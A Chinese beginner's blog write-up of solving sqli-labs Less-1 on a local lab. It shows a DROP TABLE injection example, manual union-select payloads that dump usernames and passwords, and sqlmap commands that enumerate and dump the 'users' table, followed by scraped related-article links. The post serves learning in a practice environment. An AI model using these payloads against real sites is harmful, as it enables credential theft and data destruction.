为什么是小白详解?因为我就是小白

SQL注入早有耳闻,今天算是真正打开这个门了,但是想要跨进去应该还是没有那么容易。
在B站上听了40分钟的网课,老实说,他讲的还不错,第一遍听不懂也正常
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
感谢博客园博客带我入门:https://www.cnblogs.com/peterpan0707007/p/7620048.html

每一个带我学习的博客、视频都值得感谢

工具准备:

  • 浏览器插件:hack bar(免费版的Max hack bar 也不错)
  • kali虚拟机或者sqlmap脚本

什么是SQL注入?

到目前为止我理解的sql注入无非就是:

利用sql语句的中字符匹配,注入一些恶意的代码进去

就好比有个代码:

select * from ABC where name='qqq' ;
# limit命令表示选择第0行开始往下1行的内容#我将name的值传输为222' ;drop table ABC -- ,那么语句就是
select * from ABC where name='222' ; drop table ABC -- '
#很显然,后面的单引号被注释掉了
#然后这个恶意代码就可以在那里乱删。

这只是一方面,作为小白肯定还要学好多。

SQL注入扫描工具sqlmap

作为一个小白,我的英语也不太好(太菜了,现在到饭点了,我不配吃饭)

Options:-h, --help            Show basic help message and exit-hh                   Show advanced help message and exit--version             Show program's version number and exit-v VERBOSE            Verbosity level: 0-6 (default 1)Target:At least one of these options has to be provided to define thetarget(s)-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")-g GOOGLEDORK       Process Google dork results as target URLsRequest:These options can be used to specify how to connect to the target URL--data=DATA         Data string to be sent through POST (e.g. "id=1")--cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")--random-agent      Use randomly selected HTTP User-Agent header value--proxy=PROXY       Use a proxy to connect to the target URL--tor               Use Tor anonymity network--check-tor         Check to see if Tor is used properlyInjection:These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts-p TESTPARAMETER    Testable parameter(s)--dbms=DBMS         Force back-end DBMS to provided valueDetection:These options can be used to customize the detection phase--level=LEVEL       Level of tests to perform (1-5, default 1)--risk=RISK         Risk of tests to perform (1-3, default 1)Techniques:These options can be used to tweak testing of specific SQL injectiontechniques--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")Enumeration:These options can be used to enumerate the back-end databasemanagement system information, structure and data contained in thetables-a, --all           Retrieve everything-b, --banner        Retrieve DBMS banner--current-user      Retrieve DBMS current user--current-db        Retrieve DBMS current database--passwords         Enumerate DBMS users password hashes--tables            Enumerate DBMS database tables--columns           Enumerate DBMS database table columns--schema            Enumerate DBMS schema--dump              Dump DBMS database table entries--dump-all          Dump all DBMS databases tables entries-D DB               DBMS database to enumerate-T TBL              DBMS database table(s) to enumerate-C COL              DBMS database table column(s) to enumerateOperating system access:These options can be used to access the back-end database managementsystem underlying operating system--os-shell          Prompt for an interactive operating system shell--os-pwn            Prompt for an OOB shell, Meterpreter or VNCGeneral:These options can be used to set some general working parameters--batch             Never ask for user input, use the default behavior--flush-session     Flush session files for current targetMiscellaneous:These options do not fit into any other category--wizard            Simple wizard interface for beginner users[!] to see full list of options run with '-hh'Press Enter to continue...

这是使用 -h命令出来的说明文档,作为小白,一开始这些肯定都比较生疏。记住几个重要的

  • -a, --all Retrieve everything
  • -b, --banner Retrieve DBMS banner
  • –current-user Retrieve DBMS current user
  • –current-db Retrieve DBMS current database
  • –passwords Enumerate DBMS users password hashes
  • –tables Enumerate DBMS database tables
  • –columns Enumerate DBMS database table columns
  • –schema Enumerate DBMS schema
  • –dump Dump DBMS database table entries
  • –dump-all Dump all DBMS databases tables entries
  • -D DB DBMS database to enumerate 检索数据库
  • -T TBL DBMS database table(s) to enumerate 检索数据表
  • -C COL DBMS database table column(s) to enumerate 检索数据表中的列

进入正题,开始做题

  • 打开PHPstudy 开启Apache 和Mysql
  • 进入地址: 127.0.0.1/sqli-libs (kali进入主机IP/sqli-labs)

我把sqli-labs的文件夹名称改成了sqli ,方便一些


题目给了提示,这个是错在单引号的问题上
进入

打开hackbar 我们要在hackbar上面检索一些东西,他们叫做“手工注入


一段小字提示我们是和ID有关的。数据库里面的 id一般是小写。

获取一下网站

我们再重复地注入一下id,发现13号没有,但是14号又有了,15号没有,16号没有……。那么这个id的上限就是14了咯。



好了好了,我们是要找注入点,不是找有多少个id号。
题目提示了,是单引号的问题Single quotes - String
那么,我试试注入 ?id=1'

报错了一段字符串,你看好奇怪噢,怎么是双引号又是单引号的。
其实:这不一定是双引号,有可能是两个单引号!
''1'' LIMIT 0,1'

  • 首先,剔除两边表示字符串的单引号,变成'1'' LIMIT 0,1
  • 其次,剔除我们在1后面多加上的 ‘ ,变成'1' LIMIT 0,1

这样,显而易见,我们的sql语句很可能就是

select * from 表名 where id='数据' limit 0,1;

我们验证一下:输入数字,括号,符号等等,因为里面就是字符串,字符串里面可以是任何东西

没有报错,完全可以。
好,我们已经找到注入点了,现在我们进行更高级的操作。

使用order by 注入: 侦测数据表有多少列

order by 用于对结果集进行排序
假如我们输入...... order by 3. 那么系统会首先侦测有没有第三列的数据,如果没有, 就会报错.
所以我们使用 order by 来侦测这个数据表到底有多少列

我们正确的注入语句应该是这样的:
select * from 数据表名 where id='随便是什么都可以' order by 1/2/3/4 --+' limit 0,1
别忘了后面要注释掉

这里注释参考了博客:
https://blog.csdn.net/xiayun1995/article/details/86500605
不能直接使用# 因为url读不了
不能直接使用-- ,因为–后面要有空格或者是一个闭合字符串
–+的+会变成空格,–‘会让后面形成闭合的空格字符串’’
但是这里只能加+,不能使用–’.
因为!亲测不可以,会直接把最外面两个单引号变成变量


开始手动测试,15没有\13没有…直到3,有了!

那么!这个数据表有三列,盲猜是id name 和passwd
我们的目标是管理员的密码,这不重要

使用UNION(union)联合查询

什么是联合查询?就是多个属性一起查,最后汇总在一张表上

我们让union查每个的三列,让它找不到东西,但它找过的东西都可以显示出来.

这个说明了啥?
这个说明了,Your Login name 这个东西在第二列找了
Your Password 这东西在第三列找了

多找一列,就会报错

我们何尝不把 2,3 改成user(),database()这两个函数.
这意味着我的id=1000 要在用户信息和数据库信息里面找.
很显然应该不会找到,所以他就会给我返回一个用户信息.

爆破数据库的名字

现成的工具

让它显示在第二行,调整参数就好了

爆破表名

爆破列名

爆破值

用这个语句,这个没有现成的工具,因为很多属性都要填写,不记得就百度一下吧

http://127.0.0.1/sqli/Less-1/?id=1000' union select 1,group_concat(username,0x3a,password),3 from users --+


东西都出来了,所有的东西都清晰明了.

更常用的还是sqlmap进行探测吧

手工进行实在是太累了,一旦数据库很多,数据表很大,就效率很低.


进入了sqlmap.
使用命令,

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch

-u 表示链接参数:链接一定要正确且可执行
–dbs 表示探测数据库:
–batch:表示不用一直问用户要不要继续探测

我探测到了7个数据库,但是我的目标还是security,因为刚刚通过手工注入我知道这个靶场的数据库就是security.

进入数据库,探测数据表

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch

-D 表示选择数据库
–tables 表示查询数据表


查到了四个数据表,我们当然选择users,其他的和这次靶场无关

查数据表中的列

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch

-T 表示选择数据表
–columns表示检索出列

查询内容

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch

-C 表示要查找的目录,用逗号隔开

–dump 是查找元素

sqlmap固然好用,但是也不能沦为只会使用工具的工具人. 还是要多读书.

从下午三点到现在八点,五个小时入门了sql注入哈哈哈

当个小白真不容易,共勉!

SQL注入:sqli-labs lesson-1 小白详解相关推荐

  1. c语言中concat函数,SQL注入中用到的Concat函数详解-菜鸟白帽扫盲

    在我们WEB安全测试的时候,会经常使用到这一语法,因此应该透彻理解这一函数, 今天好好实践了一下,整理如下. 1.Concat函数: concat()是一个函数,用于用于将两个字符串连接起来,形成一个 ...

  2. MS SQL Server:分区表、分区索引详解

    MS SQL Server:分区表.分区索引 详解 1. 分区表简介 使用分区表的主要目的,是为了改善大型表以及具有各种访问模式的表的可伸缩性和可管理性.  大型表:数据量巨大的表.  访问模式: ...

  3. 小白给小白详解维特比算法(一)

    小白给小白详解维特比算法(一) 小白给小白详解维特比算法一 篱笆网络Lattice的最短路径问题 这个问题长什么样子 这个问题难在哪里 简化成这个模样你总能回答了吧 下一步我们该干什么 别倒立了我们再 ...

  4. Oracle SQL语句执行流程与顺序原理详解

    以前读的文章,保存到本地了,忘记来源了,分享一下,本地存着怕丢了 Oracle SQL语句执行流程与顺序原理详解 第一步:客户端把语句发给服务器端执行 当我们在客户端执行SQL语句时,客户端会把这条S ...

  5. java 查询sql语句_java执行SQL语句实现查询的通用方法详解

    完成sql查询 并将查询结果放入vector容器,以便其他程序使用 /* * 执行sql查询语句 */ public static vector executequery(class clazz, s ...

  6. SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...

  7. SQL注入(SQL注入(SQLi)攻击)攻击-注入点

    SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大 SQL注入原理 用户在参数中插入恶意的SQL语句 , 破坏原有的SQL语法结构 , 从而执行攻击者的操作 SQL注入 ...

  8. Istio 中的 Sidecar 注入及透明流量劫持过程详解

    图片来源:上海五角场 by Jimmy Song 本文基于 Istio 1.5.1 版本,将为大家介绍以下内容: 什么是 sidecar 模式和它的优势在哪里. Istio 中是如何做 sidecar ...

  9. SQL Server 2005 安装图解(图文详解+全程截图)

    http://www.hack520.org/sql-server-2005-setup 一.下载SQL Server 2005 首先当然是下载SQL Server 2005.不过这里要强调一点,安装 ...

  10. 51单片机——LED 点阵点亮一个点,小白详解

    LED点阵介绍: LED点阵是由发光二极管排列组成的显示器件,在我们生活中的电器中随处可见,被广泛用于汽车报站器,广告屏等. 通常用用较多的是8*8点阵,然后使用多个8*8点阵组成不同分辨率的LED点 ...

最新文章

  1. 模式设计概述:代理者模式
  2. linux系统下对网站实施负载均衡+高可用集群需要考虑的几点
  3. JavaScript常用数组方法
  4. Node.js「二」—— fs 模块 / async 与 await
  5. sklearn对三维矩阵降维代码实现
  6. java设计模式学习 ----- 单例模式(Singleton)
  7. 为什么在C语言中,用scanf输入字符串时,不需加
  8. Linux修改网络配置
  9. 用 gulp require.js 和 jQuery 写一个小米项目之-----滚动商品和下面商品加载的实现
  10. 基于SSM+Vue+OSS的“依伴汉服”商城设计与开发(含源码+论文+ppt+数据库)
  11. 高新技术背景下超大城市垃圾处理的成本控制研究
  12. Pandas库之DataFrame
  13. 【笔记】HEFT——面向异构计算的高性能、低复杂度任务调度
  14. 计算机网络工程师 考试题,计算机四级网络工程师考试题及答案.docx
  15. vue实现公告上下滚动
  16. 秋草独寻人去后——986山野穿越点滴(七)
  17. deepin恢复出厂设置_如何恢复出厂设置
  18. php函数有什么用,有用的的PHP函数
  19. java 适配器_java适配器
  20. 零基础学习 iOS 开发

热门文章

  1. Singularity 代码阅读笔记[结构: Struct_Microsoft_Singularity_BootInfo]
  2. 注解和反射复习——B站
  3. 计算机提示资源管理器停止,windows资源管理器已停止工作,教您提示win资源管理器已停止工作...
  4. 低版本系统兼容的ActionBar(三)自定义Item视图+进度条的实现+下拉导航+透明ActionBar...
  5. linux正常关机使用命令是,Linux系统关机的命令
  6. 新手如何当好办公室主任?傻瓜才做“二当家的”,高手都懂这5个潜规则
  7. 【面经】2018金山WPS前端笔试题 面试题
  8. 梦幻西游手游经验任务链计算机,梦幻西游手游经验和道具任务链攻略
  9. OTA分类 OTA升级方式(乒乓、压缩、差分)
  10. 用循环制作乘法口诀表